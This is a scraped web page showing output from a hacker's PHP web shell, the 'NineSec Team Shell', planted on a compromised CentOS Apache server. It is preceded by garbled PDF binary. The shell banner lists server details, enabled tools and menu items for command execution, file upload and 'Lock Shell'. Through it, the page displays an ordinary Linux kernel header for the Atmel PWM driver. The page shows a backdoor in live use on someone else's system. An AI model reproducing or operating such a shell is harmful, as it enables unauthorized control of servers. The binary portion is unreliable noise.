%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.71.1.166
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/src/kernels/3.10.0-957.5.1.el7.x86_64/include/linux/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/src/kernels/3.10.0-957.5.1.el7.x86_64/include/linux/atmel_pwm.h
#ifndef __LINUX_ATMEL_PWM_H
#define __LINUX_ATMEL_PWM_H

/**
 * struct pwm_channel - driver handle to a PWM channel
 * @regs: base of this channel's registers
 * @index: number of this channel (0..31)
 * @mck: base clock rate, which can be prescaled and maybe subdivided
 *
 * Drivers initialize a pwm_channel structure using pwm_channel_alloc().
 * Then they configure its clock rate (derived from MCK), alignment,
 * polarity, and duty cycle by writing directly to the channel registers,
 * before enabling the channel by calling pwm_channel_enable().
 *
 * After emitting a PWM signal for the desired length of time, drivers
 * may then pwm_channel_disable() or pwm_channel_free().  Both of these
 * disable the channel, but when it's freed the IRQ is deconfigured and
 * the channel must later be re-allocated and reconfigured.
 *
 * Note that if the period or duty cycle need to be changed while the
 * PWM channel is operating, drivers must use the PWM_CUPD double buffer
 * mechanism, either polling until they change or getting implicitly
 * notified through a once-per-period interrupt handler.
 */
struct pwm_channel {
	void __iomem	*regs;
	unsigned	index;
	unsigned long	mck;
};

extern int pwm_channel_alloc(int index, struct pwm_channel *ch);
extern int pwm_channel_free(struct pwm_channel *ch);

extern int pwm_clk_alloc(unsigned prescale, unsigned div);
extern void pwm_clk_free(unsigned clk);

extern int __pwm_channel_onoff(struct pwm_channel *ch, int enabled);

#define pwm_channel_enable(ch)	__pwm_channel_onoff((ch), 1)
#define pwm_channel_disable(ch)	__pwm_channel_onoff((ch), 0)

/* periodic interrupts, mostly for CUPD changes to period or cycle */
extern int pwm_channel_handler(struct pwm_channel *ch,
		void (*handler)(struct pwm_channel *ch));

/* per-channel registers (banked at pwm_channel->regs) */
#define PWM_CMR		0x00		/* mode register */
#define		PWM_CPR_CPD	(1 << 10)	/* set: CUPD modifies period */
#define		PWM_CPR_CPOL	(1 << 9)	/* set: idle high */
#define		PWM_CPR_CALG	(1 << 8)	/* set: center align */
#define		PWM_CPR_CPRE	(0xf << 0)	/* mask: rate is mck/(2^pre) */
#define		PWM_CPR_CLKA	(0xb << 0)	/* rate CLKA */
#define		PWM_CPR_CLKB	(0xc << 0)	/* rate CLKB */
#define PWM_CDTY	0x04		/* duty cycle (max of CPRD) */
#define PWM_CPRD	0x08		/* period (count up from zero) */
#define PWM_CCNT	0x0c		/* counter (20 bits?) */
#define PWM_CUPD	0x10		/* update CPRD (or CDTY) next period */

static inline void
pwm_channel_writel(struct pwm_channel *pwmc, unsigned offset, u32 val)
{
	__raw_writel(val, pwmc->regs + offset);
}

static inline u32 pwm_channel_readl(struct pwm_channel *pwmc, unsigned offset)
{
	return __raw_readl(pwmc->regs + offset);
}

#endif /* __LINUX_ATMEL_PWM_H */

NineSec Team - 2022